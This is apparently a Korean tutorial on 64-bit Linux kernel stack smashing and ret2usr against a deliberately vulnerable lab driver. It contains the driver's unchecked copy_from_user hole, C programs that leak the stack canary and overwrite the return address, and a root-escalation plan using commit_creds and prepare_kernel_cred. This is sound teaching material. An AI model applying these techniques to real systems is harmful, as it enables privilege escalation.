Excuse the ads! We need some help to keep our site up.
List
02.Stack smashing(64bit) & Return-to-user(ret2usr)
Set environment
- 해당 장에서 작성된 코드는 Ubuntu 14.04(64bit)에서 테스트 하였습니다.
lazenca0x0@ubuntu:~$ uname -a Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux lazenca0x0@ubuntu:~$
- 해당 예제를 테스트 할 대상 커널의 리눅스 배포판 버전, 커널의 버전 정보를 확인합니다.
lazenca0x0@ubuntu:~$ lsb_release -cs trusty lazenca0x0@ubuntu:~$ uname -r 4.4.0-31-generic lazenca0x0@ubuntu:~$
- 해당 정보를 바탕으로 하여 디버깅 PC에 저장소 정보를 저장합니다.
deb http://ddebs.ubuntu.com trusty main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-updates main restricted universe multiverse deb http://ddebs.ubuntu.com trusty-proposed main restricted universe multiverse
- 디버깅 PC에 공격 대상 시스템의 커널 버전에 맞는 Debug packages를 설치합니다.
lazenca0x0@ubuntu:~$ sudo apt-get update lazenca0x0@ubuntu:~$ sudo apt-get install linux-image-4.4.0-31-generic-dbgsym Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: linux-image-4.4.0-31-generic-dbgsym 0 upgraded, 1 newly installed, 0 to remove and 451 not upgraded. Need to get 484 MB of archives. After this operation, 3,528 MB of additional disk space will be used. WARNING: The following packages cannot be authenticated! linux-image-4.4.0-31-generic-dbgsym Install these packages without verification? [y/N] y Get:1 http://ddebs.ubuntu.com/ trusty-updates/main linux-image-4.4.0-31-generic-dbgsym amd64 4.4.0-31.50~14.04.1 [484 MB] Fetched 484 MB in 59s (8,153 kB/s) Selecting previously unselected package linux-image-4.4.0-31-generic-dbgsym. (Reading database ... 169907 files and directories currently installed.) Preparing to unpack .../linux-image-4.4.0-31-generic-dbgsym_4.4.0-31.50~14.04.1_amd64.ddeb ... Unpacking linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ... Setting up linux-image-4.4.0-31-generic-dbgsym (4.4.0-31.50~14.04.1) ... lazenca0x0@ubuntu:~$
- 다음과 같이 Debug Symbol 파일을 확인할 수 있습니다.target
lazenca0x0@ubuntu:~$ file /usr/lib/debug/boot/vmlinux-4.4.0-31-generic /usr/lib/debug/boot/vmlinux-4.4.0-31-generic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4bfbf23c1d18829e7b83920925a1dfba9edaa5b5, not stripped lazenca0x0@ubuntu:~$
Disable SMEP, SMAP, KASLR, KADR
- 해당 설정은 아래 장에서 설명한것과 같이 설정하면됩니다.
Proof of concept
Example code
- 이번 장에서 사용할 Example code는 01.Stack smashing(32bit) & Return-to-user(ret2usr) 장에서 사용했던 Example code를 그대로 사용하겠습니다.
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static loff_t chardev_lseek(struct file *, loff_t, int); struct file_operations chardev_fops = { .release = chardev_release, .read = chardev_read, .write = chardev_write, .llseek = chardev_lseek, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p",data); if (_copy_from_user(&data, buf, count) != 0) { return -EFAULT; } /* if (copy_from_user(&data, buf, count) != 0) { return -EFAULT; } if (__copy_from_user(&data, buf, count) != 0) { return -EFAULT; } */ printk("After calling the copy_from_user() function : %p",data); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_read() function has been called."); memset(data, 0, sizeof(data)); strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n"); printk("MSG : %s\n",data); printk("f_pos : %lld\n",*f_pos); if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) { return -EFAULT; } return count; } static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) { loff_t new_pos = 0; printk("The device_lseek() function has been called."); switch(orig) { case 0 : /*seek set*/ new_pos = offset; break; case 1 : /*seek cur*/ new_pos = file->f_pos + offset; break; case 2 : /*seek end*/ new_pos = BUFFER_SIZE - offset; break; } if(new_pos > BUFFER_SIZE) new_pos = BUFFER_SIZE; if(new_pos < 0) new_pos = 0; file->f_pos = new_pos; return new_pos; } module_init(chardev_init); module_exit(chardev_exit);
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); read(fd, buf, TEXT_LEN); printf("%s", buf); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
Find the address of "Canary"
Canary의 위치를 확인하기 위해 test(test.c)프로그램을 이용하며, 다음과 같이 Breakpointer를 설정합니다.
0xffffffffc01b5160 : chardev_read() 함수의 시작 주소
- 0xffffffffc01b5212 : printk() 함수를 이용하여 data 변수의 내용을 출력하기 전
0xffffffffc01b527a : Canary 값을 rdx에 저장하기 전
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01b5160 Breakpoint 1 at 0xffffffffc01b5160 (gdb) c Continuing. Breakpoint 1, 0xffffffffc01b5160 in ?? () (gdb) x/80i $rip => 0xffffffffc01b5160: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01b5165: push rbp 0xffffffffc01b5166: mov rdi,0xffffffffc01b6128 0xffffffffc01b516d: mov rbp,rsp ... 0xffffffffc01b5197: call 0xffffffff81180972 <printk> ... 0xffffffffc01b5212: call 0xffffffff81180972 <printk> 0xffffffffc01b5217: mov rsi,QWORD PTR [r14] 0xffffffffc01b521a: mov rdi,0xffffffffc01b61be 0xffffffffc01b5221: xor eax,eax 0xffffffffc01b5223: call 0xffffffff81180972 <printk> 0xffffffffc01b5228: mov rdi,r12 ... 0xffffffffc01b527a: mov rdx,QWORD PTR [rbp-0x28] 0xffffffffc01b527e: xor rdx,QWORD PTR gs:0x28 0xffffffffc01b5287: jne 0xffffffffc01b5296 0xffffffffc01b5289: add rsp,0x48 0xffffffffc01b528d: pop rbx 0xffffffffc01b528e: pop r12 0xffffffffc01b5290: pop r13 0xffffffffc01b5292: pop r14 0xffffffffc01b5294: pop rbp 0xffffffffc01b5295: ret ... (gdb) b *0xffffffffc01b5212 Breakpoint 2 at 0xffffffffc01b5212 (gdb) b *0xffffffffc01b527a Breakpoint 3 at 0xffffffffc01b527a (gdb) c Continuing.
다음과 같이 Canary가 저장된 메모리 주소를 확인할 수 있습니다.
data 변수의 시작 주소는 "0xffff88001c097e58" 이며, Canary가 저장되어 있는 메모리 영역의 주소는 "0xffff88001c097e98" 입니다.
- data 변수의 시작 주소로 부터 64 byte 떨어진 곳에 Canary가 저장되어 있는 것을 확인할 수 있습니다.
Breakpoint 2, 0xffffffffc01b5212 in ?? () (gdb) i r rdi rdi 0xffffffffc01b61b5 -1071947339 (gdb) x/s 0xffffffffc01b61b5 0xffffffffc01b61b5: "MSG : %s" (gdb) i r rsi rsi 0xffff88001c097e58 -131940924948904 (gdb) x/s 0xffff88001c097e58 0xffff88001c097e58: "Welcome to the CSAW CTF challenge. Best of luck!\n" (gdb) c Continuing. Breakpoint 3, 0xffffffffc01b527a in ?? () (gdb) x/gx $rbp - 0x28 0xffff88001c097e98: 0x00000000771ba757 (gdb) si 0xffffffffc01b527e in ?? () (gdb) i r rdx rdx 0x771ba757 1998301015 (gdb) p/x 0xffff88001c097e98 - 0xffff88001c097e58 $1 = 0x40 (gdb) p/d 0xffff88001c097e98 - 0xffff88001c097e58 $2 = 64 (gdb)
Leak Canary
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "val"변수에 복사합니다.
- Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; char val[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
- Canary가 정상적으로 추출되는지 확인하기 위해 해당 코드를 빌드 후 실행합니다.
- 디버거에서 확인한 Canary의 값은 0x7fc22694 입니다.
Breakpoint 3, 0xffffffffc01b527a in ?? () (gdb) x/gx $rbp - 0x28 0xffff88002c7a7e98: 0x000000007fc22694 (gdb) si 0xffffffffc01b527e in ?? () (gdb) i r rdx rdx 0x7fc22694 2143430292 (gdb) c Continuing.
- leak 프로그램에서 출력된 값은 "94 26 c2 7f"(0x7fc22694)이며, 디버거에서 확인한 값과 동일하다는 것을 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./leak 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 94 26 c2 7f 00 00 00 00 a0 1c 6c 00 00 00 00 00 | ?&??l canary is :94 26 c2 7f 00 00 00 00 lazenca0x0@ubuntu:~/Kernel/Exploit/SS$
Check stack overflow
- 다음 코드를 이용하여 Stack overflow를 확인할 수 있습니다.
- 추출된 Canary를 "rop+64" 영역에 저장하고, "rop+72 ~ 112" 영역에 알파벳 문자 "A~F" 까지 각각 8개씩 저장합니다.
//gcc -static -o overflow overflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512]; size_t rop[512]; char val[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = 0x4444444444444444; //DDDDDDDD rop[k++] = 0x4545454545454545; //EEEEEEEE rop[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
- 디버깅을 위해 다음과 같이 chardev_write()함수의 시작주소에 Breakpoint를 설정합니다.
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) b *0xffffffffc01c90d0 Breakpoint 4 at 0xffffffffc01c90d0 (gdb) c Continuing.
다음과 같이 Stack Overflow를 확인하기 위해 다음과 같이 Breakpoint를 설정합니다.
0xffffffffc01c911c : _copy_from_user() 함수 호출 전
0xffffffffc01c9144 : chardev_write() 함수의 ret 명령어 실행 전
- 해당 함수의 Return address가 저장된 영역은 0xffff88001acdfec0 이며, 저장된 값은 0xffffffff811fd468 입니다.
Breakpoint 4, 0xffffffffc01c90d0 in ?? () (gdb) x/40i $rip => 0xffffffffc01c90d0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01c90d5: push rbp ... 0xffffffffc01c911c: call 0xffffffff813e0a10 <_copy_from_user> 0xffffffffc01c9121: test rax,rax 0xffffffffc01c9124: je 0xffffffffc01c914a 0xffffffffc01c9126: mov rax,0xfffffffffffffff2 0xffffffffc01c912d: mov rcx,QWORD PTR [rbp-0x18] 0xffffffffc01c9131: xor rcx,QWORD PTR gs:0x28 0xffffffffc01c913a: jne 0xffffffffc01c9145 0xffffffffc01c913c: add rsp,0x48 0xffffffffc01c9140: pop rbx 0xffffffffc01c9141: pop r12 0xffffffffc01c9143: pop rbp 0xffffffffc01c9144: ret 0xffffffffc01c9145: call 0xffffffff8107d560 <__stack_chk_fail> 0xffffffffc01c914a: lea rsi,[rbp-0x58] 0xffffffffc01c914e: mov rdi,0xffffffffc01ca0f0 0xffffffffc01c9155: call 0xffffffff81180972 <printk> 0xffffffffc01c915a: mov rax,rbx 0xffffffffc01c915d: jmp 0xffffffffc01c912d 0xffffffffc01c915f: nop 0xffffffffc01c9160: nop DWORD PTR [rax+rax*1+0x0] (gdb) b *0xffffffffc01c911c Breakpoint 5 at 0xffffffffc01c911c (gdb) b *0xffffffffc01c9144 Breakpoint 6 at 0xffffffffc01c9144 (gdb) si 0xffffffffc01c90d5 in ?? () (gdb) i r rsp rsp 0xffff88001acdfec0 0xffff88001acdfec0 (gdb) x/gx 0xffff88001acdfec0 0xffff88001acdfec0: 0xffffffff811fd468 (gdb) c Continuing.
- 다음과 같이 Stack Overflow를 확인할 수 있습니다.
- _copy_from_user() 함수 호출 전
- 첫번째 인자 data 변수의 시작 주소는 0xffff88001acdfe60 이며, 커널 영역 입니다.
- 두번째 인자 buf 변수의 시작 주소는 0x6c1ea0 이며, 해당 영역은 유저 영역 입니다.
- 첫번째 인자 data 변수의 시작 주소는 0xffff88001acdfe60 이며, 커널 영역 입니다.
- _copy_from_user() 함수 호출 후
- _copy_from_user() 함수에 의해 buf변수에 저장된 값이 data 변수에 복사되었습니다.
- 이로 인해 Canary 값과 Return address를 덮어쓴것을 확인할 수 있습니다.
- _copy_from_user() 함수에 의해 buf변수에 저장된 값이 data 변수에 복사되었습니다.
- ret 명령어 호출 전
- RSP 레지스터에 저장된 주소가 0xffff88001acdfec0 이며, 해당 영역의 값이 0x4444444444444444 으로 변경된 것을 확인할 수 있습니다.
- _copy_from_user() 함수 호출 전
Breakpoint 5, 0xffffffffc01c911c in ?? () (gdb) i r rdi rsi rdi 0xffff88001acdfe60 -131940945625504 rsi 0x6c1ea0 7085728 (gdb) x/20gx 0xffff88001acdfe60 0xffff88001acdfe60: 0xffffffffc01cb000 0xffffffffc01c90d0 0xffff88001acdfe70: 0xffff88001acdff20 0x0000000000000078 0xffff88001acdfe80: 0x00000000006c1ea0 0xffff88001f58c300 0xffff88001acdfe90: 0xffffffffffffff10 0xffffffffc01c90d5 0xffff88001acdfea0: 0x000000008032ebc6 0xffff88001f58c300 0xffff88001acdfeb0: 0x00000000006c1ea0 0xffff88001acdfec8 0xffff88001acdfec0: 0xffffffff811fd468 0xffff88001acdff08 0xffff88001acdfed0: 0xffffffff811fda82 0x0000000000000000 0xffff88001acdfee0: 0xffff88001f58c300 0xffff88001f58c300 0xffff88001acdfef0: 0x00000000006c1ea0 0x0000000000000078 (gdb) x/20gx 0x6c1ea0 0x6c1ea0: 0x4141414141414141 0x4141414141414141 0x6c1eb0: 0x4141414141414141 0x4141414141414141 0x6c1ec0: 0x4141414141414141 0x4141414141414141 0x6c1ed0: 0x4141414141414141 0x4141414141414141 0x6c1ee0: 0x000000008032ebc6 0x4141414141414141 0x6c1ef0: 0x4242424242424242 0x4343434343434343 0x6c1f00: 0x4444444444444444 0x4545454545454545 0x6c1f10: 0x4646464646464646 0x0000000000000000 0x6c1f20: 0x0000000000000000 0x0000000000000000 0x6c1f30: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 6, 0xffffffffc01c9144 in ?? () (gdb) x/20gx 0xffff88001acdfe60 0xffff88001acdfe60: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe70: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe80: 0x4141414141414141 0x4141414141414141 0xffff88001acdfe90: 0x4141414141414141 0x4141414141414141 0xffff88001acdfea0: 0x000000008032ebc6 0x4141414141414141 0xffff88001acdfeb0: 0x4242424242424242 0x4343434343434343 0xffff88001acdfec0: 0x4444444444444444 0x4545454545454545 0xffff88001acdfed0: 0x4646464646464646 0x0000000000000000 0xffff88001acdfee0: 0xffff88001f58c300 0xffff88001f58c300 0xffff88001acdfef0: 0x00000000006c1ea0 0x0000000000000078 (gdb) i r rsp rsp 0xffff88001acdfec0 0xffff88001acdfec0 (gdb) x/gx 0xffff88001acdfec0 0xffff88001acdfec0: 0x4444444444444444 (gdb) c Continuing.
Exploit method
ret2usr 기법을 이용한 Exploit의 순서는 다음과 같습니다.
prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
- commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
- system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
- 이를 코드로 표현하면 다음과 같습니다.
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh");
- 앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
prepare_kernel_cred() 함수의 주소
commit_creds() 함수의 주소
Find the address of a function
권한 상승에 필요한 함수의 주소는 찾기 위해 사용되는 코드는 01.Stack smashing(32bit) & Return-to-user(ret2usr)-Findtheaddressofafunction에서 사용한 코드를 그대로 사용합니다.
- 이전 코드와 다른 부분은 ret2usr를 구현하지 않았다는 것입니다.
//gcc -masm=intel -static -o address address.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512]; size_t rop[512]; char val[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = 0x4444444444444444; //DDDDDDDD rop[k++] = 0x4545454545454545; //EEEEEEEE rop[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
다음과 같이 권한 상승에 필요함 함수의 주소를 출력하는 것을 확인할 수 있습니다.
commit_creds() : 0xffffffff8109d760
prepare_kernel_cred() : 0xffffffff8109da40
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./address commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 67 06 51 56 00 00 00 00 a0 1c 6c 00 00 00 00 00 | gQV?l Segmentation fault lazenca0x0@ubuntu:~/Kernel/Exploit/SS$
- dmesg를 이용하여 모듈에서 발생한 에러의 정보를 확인 할 수 있습니다.
그런데 에러 메시지가 "Bad RIP value"가 아닌 "general protection fault: 0000 [#1] SMP" 라고 출력하는 것을 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ dmesg |tail -n 60 [ 1224.980459] The chardev_write() function has been called.Before calling the copy_from_user() function : ffff88001acdfe60 [ 1282.303683] INFO: rcu_sched detected stalls on CPUs/tasks: [ 1282.303688] (detected by 0, t=28468 jiffies, g=10537, c=10536, q=50) [ 1282.303812] All QSes seen, last rcu_sched kthread activity 28468 (4295212848-4295184380), jiffies_till_next_fqs=1, root ->qsmask 0x0 [ 1282.303813] test R running task 0 2937 2649 0x00000008 [ 1282.303816] ffffffff81c54780 ffff88003c603e00 ffffffff810a997f ffff88003c617a80 [ 1282.303817] ffffffff81c54780 ffff88003c603e68 ffffffff810e1f65 0000000000000000 [ 1282.303818] ffff88003c616d00 0000000000002929 0000000000002929 0000000000000000 [ 1282.303819] Call Trace: [ 1282.303820] <IRQ> [<ffffffff810a997f>] sched_show_task+0xaf/0x110 [ 1282.303828] [<ffffffff810e1f65>] rcu_check_callbacks+0x795/0x7a0 [ 1282.303867] [<ffffffff810f7360>] ? tick_sched_do_timer+0x30/0x30 [ 1282.303870] [<ffffffff810e7d39>] update_process_times+0x39/0x60 [ 1282.303871] [<ffffffff810f6d65>] tick_sched_handle.isra.15+0x25/0x60 [ 1282.303872] [<ffffffff810f739d>] tick_sched_timer+0x3d/0x70 [ 1282.303874] [<ffffffff810e8893>] __hrtimer_run_queues+0xf3/0x260 [ 1282.303875] [<ffffffff810e8d38>] hrtimer_interrupt+0xa8/0x1a0 [ 1282.303908] [<ffffffff81050cf5>] local_apic_timer_interrupt+0x35/0x60 [ 1282.303912] [<ffffffff817f99dd>] smp_apic_timer_interrupt+0x3d/0x50 [ 1282.303914] [<ffffffff817f7ca2>] apic_timer_interrupt+0x82/0x90 [ 1282.303914] <EOI> [<ffffffff813e0a10>] ? _copy_to_user+0x30/0x30 [ 1282.303921] [<ffffffffc01c9121>] ? chardev_write+0x51/0x90 [chardev] [ 1282.303922] [<ffffffffc01c90d0>] ? chardev_release+0x40/0x40 [chardev] [ 1282.303924] [<ffffffffc01c90d5>] ? chardev_write+0x5/0x90 [chardev] [ 1282.303926] [<ffffffff811fd468>] __vfs_write+0x18/0x40 [ 1282.303927] [<ffffffff811fda82>] vfs_write+0xa2/0x1a0 [ 1282.303928] [<ffffffff811fe7a6>] SyS_write+0x46/0xa0 [ 1282.303930] [<ffffffff817f6f36>] entry_SYSCALL_64_fastpath+0x16/0x75 [ 1282.303932] rcu_sched kthread starved for 28468 jiffies! g10537 c10536 f0x2 s3 ->state=0x0 [ 1282.304717] After calling the copy_from_user() function : ffff88001acdfe60 [ 1282.308510] general protection fault: 0000 [#1] SMP [ 1282.308516] Modules linked in: chardev(OE) hid_generic uvcvideo usbhid videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev hid media coretemp crct10dif_pclmul crc32_pclmul aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper vmw_balloon cryptd snd_ens1371 snd_ac97_codec btusb gameport ac97_bus snd_pcm btrtl joydev input_leds btbcm btintel serio_raw snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq snd_seq_device snd_timer snd soundcore nfit vmwgfx ttm drm_kms_helper drm 8250_fintek shpchp fb_sys_fops syscopyarea vmw_vmci sysfillrect i2c_piix4 sysimgblt mac_hid bnep rfcomm bluetooth parport_pc ppdev lp parport psmouse mptspi mptscsih mptbase ahci libahci e1000 scsi_transport_spi pata_acpi fjes [last unloaded: chardev] [ 1282.308540] CPU: 0 PID: 2937 Comm: test Tainted: G OEL 4.4.0-31-generic #50~14.04.1-Ubuntu [ 1282.308541] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015 [ 1282.308543] task: ffff88003578c4c0 ti: ffff88001acdc000 task.ti: ffff88001acdc000 [ 1282.308545] RIP: 0010:[<ffffffffc01c9144>] [<ffffffffc01c9144>] chardev_write+0x74/0x90 [chardev] [ 1282.308550] RSP: 0018:ffff88001acdfec0 EFLAGS: 00010282 [ 1282.308551] RAX: 0000000000000078 RBX: 4141414141414141 RCX: 0000000000000000 [ 1282.308552] RDX: 0000000000000001 RSI: 0000000000000246 RDI: 0000000000000246 [ 1282.308553] RBP: 4343434343434343 R08: 74636e7566202928 R09: 6666203a206e6f69 [ 1282.308554] R10: 3030383866666666 R11: 0000000000000747 R12: 4242424242424242 [ 1282.308555] R13: 0000000000000078 R14: ffff88001acdff20 R15: 0000000000000000 [ 1282.308556] FS: 0000000001d39880(0063) GS:ffff88003c600000(0000) knlGS:0000000000000000 [ 1282.308557] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1282.308558] CR2: 00007fce993a5000 CR3: 0000000036f4c000 CR4: 00000000000406f0 [ 1282.308563] Stack: [ 1282.308564] 4444444444444444 4545454545454545 4646464646464646 0000000000000000 [ 1282.308566] ffff88001f58c300 ffff88001f58c300 00000000006c1ea0 0000000000000078 [ 1282.308568] 0000000000000000 ffff88001acdff48 ffffffff811fe7a6 0000000000000044 [ 1282.308569] Call Trace: [ 1282.308574] [<ffffffff811fe7a6>] ? SyS_write+0x46/0xa0 [ 1282.308578] [<ffffffff817f6f36>] ? entry_SYSCALL_64_fastpath+0x16/0x75 [ 1282.308579] Code: 4c 89 e6 cc ef 78 21 c1 48 85 c0 74 24 48 c7 c0 f2 ff ff ff 48 8b 4d e8 65 48 33 0c 25 28 00 00 00 75 09 48 83 c4 48 5b 41 5c 5d <cc> e8 16 44 eb c0 48 8d 75 a8 48 c7 c7 f0 a0 1c c0 e8 18 78 fb [ 1282.308591] RIP [<ffffffffc01c9144>] chardev_write+0x74/0x90 